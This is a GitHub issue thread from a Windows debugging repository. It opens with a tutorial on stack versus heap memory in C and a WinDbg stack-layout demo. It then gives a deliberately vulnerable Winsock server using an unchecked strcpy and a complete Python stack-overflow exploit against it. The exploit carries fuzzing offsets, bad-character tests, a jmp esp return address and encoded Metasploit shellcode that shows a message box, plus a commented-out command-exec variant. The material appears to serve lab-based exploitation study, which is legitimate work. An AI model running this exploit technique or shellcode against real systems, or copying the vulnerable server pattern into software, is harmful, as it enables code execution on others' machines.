nixawk / Awesome-Windows-Debug

Debug Windows Application / Kernel
78 stars 34 forks source link

Stack VS Heap #2

Open nixawk opened 7 years ago

nixawk commented 7 years ago

Stack vs Heap

So far we have seen how to declare basic type variables such as int, double, etc, and complex types such as arrays and structs. The way we have been declaring them so far, with a syntax that is like other languages such as MATLAB, Python, etc, puts these variables on the stack in C.

The Stack

What is the stack? It's a special region of your computer's memory that stores temporary variables created by each function (including the main() function). The stack is a "LIFO" (last in, first out) data structure, that is managed and optimized by the CPU quite closely. Every time a function declares a new variable, it is "pushed" onto the stack. Then every time a function exits, all of the variables pushed onto the stack by that function, are freed (that is to say, they are deleted). Once a stack variable is freed, that region of memory becomes available for other stack variables.

The advantage of using the stack to store variables, is that memory is managed for you. You don't have to allocate memory by hand, or free it once you don't need it any more. What's more, because the CPU organizes stack memory so efficiently, reading from and writing to stack variables is very fast.

A key to understanding the stack is the notion that when a function exits, all of its variables are popped off of the stack (and hence lost forever). Thus stack variables are local in nature. This is related to a concept we saw earlier known as variable scope, or local vs global variables. A common bug in C programming is attempting to access a variable that was created on the stack inside some function, from a place in your program outside of that function (i.e. after that function has exited).

Another feature of the stack to keep in mind, is that there is a limit (varies with OS) on the size of variables that can be stored on the stack. This is not the case for variables allocated on the heap.

To summarize the stack:

The Heap

The heap is a region of your computer's memory that is not managed automatically for you, and is not as tightly managed by the CPU. It is a more free-floating region of memory (and is larger). To allocate memory on the heap, you must use malloc() or calloc(), which are built-in C functions. Once you have allocated memory on the heap, you are responsible for using free() to deallocate that memory once you don't need it any more. If you fail to do this, your program will have what is known as a memory leak. That is, memory on the heap will still be set aside (and won't be available to other processes). As we will see in the debugging section, there is a tool called valgrind that can help you detect memory leaks.

Unlike the stack, the heap does not have size restrictions on variable size (apart from the obvious physical limitations of your computer). Heap memory is slightly slower to be read from and written to, because one has to use pointers to access memory on the heap. We will talk about pointers shortly.

Unlike the stack, variables created on the heap are accessible by any function, anywhere in your program. Heap variables are essentially global in scope.

Stack vs Heap Pros and Cons

Stack

Heap

When to use the Heap?

When should you use the heap, and when should you use the stack? If you need to allocate a large block of memory (e.g. a large array, or a big struct), and you need to keep that variable around a long time (like a global), then you should allocate it on the heap. If you are dealing with realtively small variables that only need to persist as long as the function using them is alive, then you should use the stack, it's easier and faster. If you need variables like arrays and structs that can change size dynamically (e.g. arrays that can grow or shrink as needed) then you will likely need to allocate them on the heap, and use dynamic memory allocation functions like malloc(), calloc(), realloc() and free() to manage that memory "by hand". We will talk about dynamically allocated data structures after we talk about pointers.

References

nixawk commented 6 years ago

Stack

demo1

#include "stdafx.h"
#include <windows.h>

int ShowStackLayout(int x, int y)
{
    int z;

    z = x + y;
    return z;
}

int main(int argc, char *argv[])
{
    int x = 1;
    int y = 2;
    int z;

    z = ShowStackLayout(x, y);
    printf("x + y = %d\n", z);

    return 0;
}
0:000> bp Stack_VS_Heap!ShowStackLayout
0:000> g
0:000> p
0:000> uf Stack_VS_Heap!ShowStackLayout
Stack_VS_Heap!ShowStackLayout [c:\users\debug\desktop\src\stack_vs_heap\stack_vs_heap\stack_vs_heap.cpp @ 9]:
    9 00411390 55              push    ebp
    9 00411391 8bec            mov     ebp,esp
    9 00411393 81eccc000000    sub     esp,0CCh
    9 00411399 53              push    ebx
    9 0041139a 56              push    esi
    9 0041139b 57              push    edi
    9 0041139c 8dbd34ffffff    lea     edi,[ebp-0CCh]
    9 004113a2 b933000000      mov     ecx,33h
    9 004113a7 b8cccccccc      mov     eax,0CCCCCCCCh
    9 004113ac f3ab            rep stos dword ptr es:[edi]
   12 004113ae 8b4508          mov     eax,dword ptr [ebp+8]
   12 004113b1 03450c          add     eax,dword ptr [ebp+0Ch]
   12 004113b4 8945f8          mov     dword ptr [ebp-8],eax
   13 004113b7 8b45f8          mov     eax,dword ptr [ebp-8]
   14 004113ba 5f              pop     edi
   14 004113bb 5e              pop     esi
   14 004113bc 5b              pop     ebx
   14 004113bd 8be5            mov     esp,ebp
   14 004113bf 5d              pop     ebp
   14 004113c0 c3              ret
0:000> dd /c 1 [ebp-8]
0012fe28  00000003     ---- [ebp-8] local variable
0012fe2c  cccccccc     ---- [ebp-4]
0012fe30  0012ff30     ---- [ebp]
0012fe34  00411409     ---- [ebp+4] : return address
0012fe38  00000001     ---- [ebp+8]: arg1
0012fe3c  00000002     ---- [ebp+c]: arg2
0012fe40  00000000
0012fe44  00000000
0:000> u 00411409
Stack_VS_Heap!main+0x39 [c:\users\debug\desktop\src\stack_vs_heap\stack_vs_heap\stack_vs_heap.cpp @ 22]:
00411409 83c408          add     esp,8
0041140c 8945e0          mov     dword ptr [ebp-20h],eax
0041140f 8bf4            mov     esi,esp
00411411 8b45e0          mov     eax,dword ptr [ebp-20h]
00411414 50              push    eax
00411415 683c574100      push    offset Stack_VS_Heap!`string' (0041573c)
0041141a ff15b0824100    call    dword ptr [Stack_VS_Heap!_imp__printf (004182b0)]
00411420 83c408          add     esp,8

demo2

#include "stdafx.h"
#include <windows.h>

#ifndef BUFSIZE
#define BUFSIZE 4
#endif

void StackOverflow(char *input)
{
    char localbuf[BUFSIZE];

    strcpy(localbuf, input);
}

int main(int argc, char *argv[])
{
    char buf[] = "AAAA";

    StackOverflow(buf);

    return 0;
}
nixawk commented 6 years ago

StackOverflow Exploitation - vulnerable server

// For StackOverflow Exploitation

#include "stdafx.h"
#include <string.h>
#include <stdio.h>
#include <winsock.h>
#include <windows.h>

//load windows socket
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

#define READ_BUFSIZE 5000
#define WRITE_BUFSIZE 500  // for StackOverflow

void StackOverflowTrigger( char *str)
{
   char buf[WRITE_BUFSIZE] = "";

   strcpy(buf, str);
}

void SocketErrorTrigger(char *str)
{
   MessageBox(NULL, str, "socket Error" ,MB_OK);
   WSACleanup();
}

int main(int argc, char **argv)
{

    WORD winsockver;
    WSADATA wsaData;
    SOCKET serverSocket;
    SOCKET clientSocket;
    SOCKADDR_IN sin;

    int rVal;
    char recvbuf[READ_BUFSIZE] = "";
    u_short ListenPort = 6000;
    int bytesRecv = SOCKET_ERROR;

    //wsock32 initialized for usage
    winsockver = MAKEWORD(1, 1);
    WSAStartup(winsockver, &wsaData);

   //create server socket
   serverSocket = socket(AF_INET, SOCK_STREAM, 0);
   if(serverSocket == INVALID_SOCKET)
   {
      SocketErrorTrigger("Failed socket()");
      return SS_ERROR;
   }

   sin.sin_family = PF_INET;
   sin.sin_port = htons(ListenPort);
   sin.sin_addr.s_addr = INADDR_ANY;

   //bind the socket
   rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
   if(rVal == SOCKET_ERROR)
   {
      SocketErrorTrigger("Failed bind()");
      WSACleanup();
      return SS_ERROR;
   }

   //get socket to listen
   rVal = listen(serverSocket, 10);
   if(rVal == SOCKET_ERROR)
   {
      SocketErrorTrigger("Failed listen()");
      WSACleanup();
      return SS_ERROR;
   }

   printf("[+] server listening on %d...\n", ListenPort);

   //wait for a client to connect
   clientSocket = accept(serverSocket, NULL, NULL);
   if(clientSocket == INVALID_SOCKET)
   {
      SocketErrorTrigger("Failed accept()");
      WSACleanup();
      return SS_ERROR;
   }

   while( bytesRecv == SOCKET_ERROR )
   {
      //receive the data that is being sent by the client max limit to 5000 bytes.
      bytesRecv = recv( clientSocket, recvbuf, READ_BUFSIZE, 0 );

      if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
      {
         printf( "\nConnection Closed.\n");
         break;
      }
   }

   //Pass the data received to the function pr
   StackOverflowTrigger(recvbuf);

   //close client socket
   closesocket(clientSocket);

   //close server socket
   closesocket(serverSocket);

   WSACleanup();

   return SS_OK;
}

StackOverflow Poc

Just a POC for my lab, and may not be suitable for yours.

OS Name:                   Microsoft Windows 7 Ultimate
OS Version:                6.1.7601 Service Pack 1 Build 7601
System Type:               X86-based PC
#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import struct

def print_bad_chars():
    print("".join(["\\x%02x" % i for i in range(0x01, 0x80)]))

def exploit(host, port=6000):
    # 1. Fuzz
    # payload = "A" * 2000

    # $ ./tools/exploit/pattern_create.rb -l 2000
    # payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

    # 0:000> !pattern_offset 2000
    # [Byakugan] Control of ebp at offset 500.
    # [Byakugan] Control of eip at offset 504.

    # payload = "\x41" * 500 + "\xCC" * 4

    # 0:000> r
    # eax=0012e7bc ebx=7ffd8000 ecx=0012ec0c edx=00000000 esi=00000000 edi=0012fd98
    # eip=00401200 esp=0012e9b8 ebp=cccccccc iopl=0         nv up ei pl zr na pe nc
    # cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    # vulnerserver+0x1200:
    # 00401200 c404e8          les     eax,fword ptr [eax+ebp*8] ds:0023:66794e1c=????????????

    # payload = "\x41" * 500 + "\xCC" * 4 + "\x90" * 4

    # 0:000> r
    # eax=0012e7bc ebx=7ffdf000 ecx=0012ec10 edx=00000000 esi=00000000 edi=0012fd98
    # eip=90909090 esp=0012e9b8 ebp=cccccccc iopl=0         nv up ei pl zr na pe nc
    # cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    # 90909090 ??              ???

    # 0:000> dd /c1 0012ec04   ----> EBP = 0012ec04
    # 0012ec04  cccccccc
    # 0012ec08  90909090
    # 0012ec0c  00000000
    # 0012ec10  00000000
    # 0012ec14  00000000
    # 0012ec18  00000000

    # payload = "\x41" * 500 + "\x42" * 4 + "\xCC" * 4 + "\x43" * (2000 - 508)

    # Guess Bad Chars
    # print_bad_chars()

    # 

    # badchars_lst ="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"

    # payload = "\x41" * 500 + "\x42" * 4 + "\xCC" * 4 + badchars_lst + "\x43" * (2000 - 508 - len(badchars_lst))

    # # windows/exec - 216 bytes
    # # http://www.metasploit.com
    # # Encoder: x86/shikata_ga_nai
    # # VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
    # # CMD=calc
    # buf =  ""
    # buf += "\xda\xdd\xbb\x91\xb5\x19\x95\xd9\x74\x24\xf4\x5f\x29"
    # buf += "\xc9\xb1\x30\x31\x5f\x18\x83\xc7\x04\x03\x5f\x85\x57"
    # buf += "\xec\x69\x4d\x15\x0f\x92\x8d\x7a\x99\x77\xbc\xba\xfd"
    # buf += "\xfc\xee\x0a\x75\x50\x02\xe0\xdb\x41\x91\x84\xf3\x66"
    # buf += "\x12\x22\x22\x48\xa3\x1f\x16\xcb\x27\x62\x4b\x2b\x16"
    # buf += "\xad\x9e\x2a\x5f\xd0\x53\x7e\x08\x9e\xc6\x6f\x3d\xea"
    # buf += "\xda\x04\x0d\xfa\x5a\xf8\xc5\xfd\x4b\xaf\x5e\xa4\x4b"
    # buf += "\x51\xb3\xdc\xc5\x49\xd0\xd9\x9c\xe2\x22\x95\x1e\x23"
    # buf += "\x7b\x56\x8c\x0a\xb4\xa5\xcc\x4b\x72\x56\xbb\xa5\x81"
    # buf += "\xeb\xbc\x71\xf8\x37\x48\x62\x5a\xb3\xea\x4e\x5b\x10"
    # buf += "\x6c\x04\x57\xdd\xfa\x42\x7b\xe0\x2f\xf9\x87\x69\xce"
    # buf += "\x2e\x0e\x29\xf5\xea\x4b\xe9\x94\xab\x31\x5c\xa8\xac"
    # buf += "\x9a\x01\x0c\xa6\x36\x55\x3d\xe5\x5c\xa8\xb3\x93\x12"
    # buf += "\xaa\xcb\x9b\x02\xc3\xfa\x10\xcd\x94\x02\xf3\xaa\x6b"
    # buf += "\x49\x5e\x9a\xe3\x14\x0a\x9f\x69\xa7\xe0\xe3\x97\x24"
    # buf += "\x01\x9b\x63\x34\x60\x9e\x28\xf2\x98\xd2\x21\x97\x9e"
    # buf += "\x41\x41\xb2\xfc\x04\xd1\x5e\x03"

    # windows/messagebox - 309 bytes
    # http://www.metasploit.com
    # Encoder: x86/shikata_ga_nai
    # VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
    # TITLE=MessageBox, TEXT=StackOverflow Exploitation, ICON=NO
    buf =  ""
    buf += "\xda\xde\xd9\x74\x24\xf4\xbf\x19\xec\x0d\x73\x58\x33"
    buf += "\xc9\xb1\x47\x31\x78\x19\x83\xc0\x04\x03\x78\x15\xfb"
    buf += "\x19\xd4\x98\x60\x38\x93\x7a\x62\x8a\x8e\x31\xfd\xdc"
    buf += "\xe7\x52\x8a\x6e\xc8\x11\xfa\x9c\xa3\x50\x1e\x16\xf5"
    buf += "\x94\x95\x56\xda\x2f\x9f\x9e\x55\x28\xaa\x2d\x30\x49"
    buf += "\x85\x2d\x22\x29\xae\xbe\x81\x8e\x3b\x7b\xf6\x45\x6f"
    buf += "\xac\x7e\x5b\x65\x27\x34\x43\xf2\x62\xe9\x72\xef\x70"
    buf += "\xdd\x3d\x64\x42\x95\xbf\x94\x9a\x56\x8e\xa8\x21\x04"
    buf += "\x75\xe8\xae\x52\xb7\x27\x43\x5c\xf0\x5c\xa8\x65\x82"
    buf += "\x86\x79\xef\x9b\x4d\x23\x2b\x5d\xba\xb2\xb8\x51\x77"
    buf += "\xb0\xe5\x75\x86\x2d\x92\x82\x03\xb0\x4d\x03\x57\x97"
    buf += "\x91\x75\x94\x65\xa1\x5c\xce\x03\x57\x17\x2c\x7b\x16"
    buf += "\x66\xbe\x90\x74\x9f\x21\x97\x86\xa0\xd4\x2d\x7d\xe4"
    buf += "\x98\x75\x9f\x69\xe3\x9a\x44\xdc\x03\x2c\x7b\x1f\x2c"
    buf += "\xb8\xc1\xe8\xba\xd7\xa5\xc8\x7b\x40\x05\x3b\x55\xf4"
    buf += "\x01\x4e\xda\x91\xa3\x80\xc7\xd2\x18\xc5\xfd\x6b\x46"
    buf += "\x53\xfe\x39\x83\xd5\xc2\x92\x30\x4d\x60\x5f\xfb\x09"
    buf += "\x78\x44\x51\xfe\xdf\x7b\xaa\x01\xb7\xec\x2d\xa6\x67"
    buf += "\x9b\xac\x31\x02\x19\x47\xf3\xa9\xee\xe4\x3a\xea\x99"
    buf += "\x57\x19\x06\x13\x84\x09\x79\x4d\x13\xea\xed\xe5\xc2"
    buf += "\x9e\x84\x6d\x75\x33\x39\x07\x1d\xbc\xe5\x92\xa5\x2a"
    buf += "\x97\x7a\x3a\xc4\x3f\xe8\x8d\x6c\xda\x86\x42\xe5\x45"
    buf += "\x34\x54\xcc\x0d\xf6\xb2\xd4\x84\xe6\x8a\x3a\xc4\xbb"
    buf += "\xbd\xe8\x17\xeb\x0f\xcd\xb7\xf3\x25\xc5"

    # 0:000> lm
    # start    end        module name
    # 00400000 0042c000   vulnerserver   (deferred)             
    # 6cdc0000 6cdc7000   WSOCK32    (deferred)             
    # 742d0000 742d5000   wshtcpip   (deferred)             
    # 748c0000 748fc000   mswsock    (deferred)             
    # 74ff0000 7503b000   KERNELBASE   (deferred)             
    # 75230000 7524f000   IMM32      (deferred)             
    # 75250000 75325000   kernel32   (deferred)             
    # 753c0000 7545d000   USP10      (deferred)             
    # 75510000 75545000   WS2_32     (deferred)             
    # 76280000 762ce000   GDI32      (deferred)             
    # 762d0000 7639d000   MSCTF      (deferred)             
    # 763a0000 76442000   RPCRT4     (deferred)             
    # 76450000 764fc000   msvcrt     (deferred)             
    # 76f30000 77072000   ntdll      (pdb symbols)          c:\symbols\ntdll.pdb\03C0F4D805AE4CB0B7C5AA74001BE55A2\ntdll.pdb
    # 77080000 77086000   NSI        (deferred)             
    # 77090000 7709a000   LPK        (deferred)             
    # 770a0000 77169000   USER32     (deferred)             

    # 0:000> ? 75325000 - 75250000 
    # Evaluate expression: 872448 = 000d5000

    # ffe4            jmp     esp
    # 7528e8f3  ff e4 b2 2c 75 f5 b2 2c-75 ff b5 cc fd ff ff 57  ...,u..,u......W
    # 752a5167  ff e4 ff ff ff 00 00 00-00 50 fd ff ff 00 00 00  .........P......

    payload = ""
    payload += "\x41" * 500  # Junk data
    payload += "\x42" * 4    # ESP
    payload += struct.pack("<L", 0x7528e8f3)  #"\xCC" * 4    # EIP: 0012ec08, 0012e9b4
    payload += "\x90" * (16 + 12)
    payload += buf
    payload += "\x43" * (2000 - 500 - 4 - 4 - len(buf)) 

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, int(port)))
    client.send(payload)
    client.close()

if __name__ == '__main__':
    host = "127.0.0.1"
    port = 6000

    exploit(host, port)
messagebox